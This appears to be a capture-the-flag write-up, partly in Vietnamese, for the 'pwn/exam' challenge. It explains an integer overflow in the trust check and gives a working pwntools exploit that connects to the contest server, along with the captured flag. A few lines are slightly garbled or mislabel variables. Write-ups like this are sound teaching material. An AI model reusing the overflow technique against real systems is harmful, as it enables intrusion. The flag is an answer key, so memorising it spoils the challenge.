pwn/exam

Description

<aside> 📌

I thought my tiring AP season was over, but I heard that they're offering a flag in AP Cybersecurity! The proctor seems to have trust issues though...

nc challs.actf.co 31322

</aside>

Solution

 printf("How much should I not trust you? >:)\\n: ");
  __isoc99_scanf("%d", &detrust);
  fgets(s, 150, stdin);
  if ( detrust >= 0 )
  {
    trust_level -= detrust;
    if ( trust_level == threshold )
    {
	    [...]
    }
    else
    {
      while ( trust_level < threshold )
      {
		    [...]
        fgets(s, 150, stdin);
        if ( !strcmp(
                s,
                "I confirm that I am taking this exam between the dates 5/24/2024 and 5/27/2024. I will not disclose any "
                "information about any section of this exam.\\n") )
          --trust_level;
      }
      stream = fopen("flag.txt", "r");

Chương trình cho phép nhập giá trị vào detrusttrust_level -= detrust. Dễ thấy chỉ cần trust_level >= threshold thì ta sẽ có được flag.

Sử dụng GDB, ta thấy giá trị của:

Để giải bài toán này, ta sẽ nhập trust_level = 0x7fffffff . Sau phép trừ đầu tiên, trust_level = 0x80000001.

Tiếp tục sử dụng thêm 2 lần --trust_level thì sẽ break được vòng while và có flag.

Full exploit

#!/usr/bin/env python3

from pwn import *

exe = ELF("./exam") 
# libc = ELF("./libc.so.6")
# ld = ELF("./ld-2.35.so")

context.update(os = "linux", arch = "amd64", log_level = "debug", binary = exe)

# p = process(exe.path)
p = remote("challs.actf.co", 31322)

sl  = p.sendline
sa  = p.sendafter
sla = p.sendlineafter
rl  = p.recvline
ru  = p.recvuntil

def GDB():
    gdb.attach(p, gdbscript = """
        continue
    """)
    pause() 

# GDB()

pay = b"I confirm that I am taking this exam between the dates 5/24/2024 and 5/27/2024. I will not disclose any information about any section of this exam."

sla(b"trust you? >:)\\n", b"2147483647")
sla(b": ", pay)
sla(b": ", pay)

p.interactive() 
# actf{manifesting_those_fives}

pwn/presidential